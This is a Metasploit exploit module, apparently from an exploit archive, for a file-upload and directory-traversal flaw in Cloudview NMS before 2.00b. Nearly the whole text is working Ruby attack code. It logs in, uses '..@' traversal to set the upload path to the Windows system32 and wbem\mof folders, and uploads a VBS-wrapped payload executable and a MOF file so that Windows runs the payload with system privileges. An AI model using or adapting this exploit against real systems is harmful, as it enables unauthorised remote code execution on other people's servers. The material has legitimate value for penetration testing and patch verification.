Cloudview NMS File Upload

This Metasploit module exploits a file upload vulnerability found within Cloudview NMS versions prior to 2.00b. The vulnerability is triggered by sending specialized packets to the server with directory traversal sequences to browse outside of the web root.


MD5 | 40fbe28e8d4ae70f1b8a4e1f08d7dc1a

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

def initialize(info = {})
super(update_info(info,
'Name' => 'Cloudview NMS File Upload',
'Description' => %q{
This module exploits a file upload vulnerability
found within Cloudview NMS < 2.00b. The vulnerability
is triggered by sending specialized packets to the
server with directory traversal sequences (..@ in
this case) to browse outside of the web root.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', '0day' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Cloudview NMS 2.00b on Windows', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 13 2014'))

register_options([
Opt::RPORT(80),
OptString.new('USERNAME', [ true, "The username to log in with", "Admin" ]),
OptString.new('PASSWORD', [ false, "The password to log in with", "" ])
], self.class )
end

def exploit

# setup
vbs_name = rand_text_alpha(rand(10)+5) + '.vbs'
exe = generate_payload_exe
vbs_content = Msf::Util::EXE.to_exe_vbs(exe)
mof_name = rand_text_alpha(rand(10)+5) + '.vbs'
mof = generate_mof(mof_name, vbs_name)
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"

print_status("Uploading #{vbs_name} to #{peer}...")

# logging in to get the "session"
@sess = rand(0..2048)
res = send_request_cgi({
'method' => 'POST',
'uri' => "/MPR=#{@sess}:/",
'version' => '1.1',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "username=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&mybutton=Login%21&donotusejava=html"
})

# This is needed to setup the upload directory
res = send_request_cgi({
'method' => 'GET',
'uri' => "/MPR=#{@sess}:/descriptor!ChangeDir=C:@..@..@..@WINDOWS@system32@!-!-!@extdir%5Cfilelistpage!-!1000",
'version' => '1.1',
})

# Uploading VBS file
data = Rex::MIME::Message.new
data.add_part("#{vbs_content}", "application/octet-stream", nil, "form-data; name=\"upfile\"; filename=\"#{vbs_name}\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

res = send_request_cgi({
'method' => 'POST',
'uri' => "/MPR=#{@sess}:/",
'version' => '1.1',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if res.body =~ /Uploaded file OK/
print_good("Uploaded #{vbs_name} successfully!")
print_status("Uploading #{mof_name} to #{peer}...")

# Setting up upload directory
res = send_request_cgi({
'method' => 'GET',
'uri' => "/MPR=#{@sess}:/descriptor!ChangeDir=C:@..@..@..@WINDOWS@system32@wbem@mof@!-!-!@extdir%5Cfilelistpage!-!1000",
'version' => '1.1'
})

# Uploading MOF file
data = Rex::MIME::Message.new
data.add_part("#{mof}", "application/octet-stream", nil, "form-data; name=\"upfile\"; filename=\"#{mof_name}\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

res = send_request_cgi({
'method' => 'POST',
'uri' => "/MPR=#{@sess}:/",
'version' => '1.1',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if res.body =~ /Uploaded file OK/
print_good("Uploaded #{mof_name} successfully!")
else
print_error("Something went wrong...")
end
else
print_error("Something went wrong...")
end

end

end



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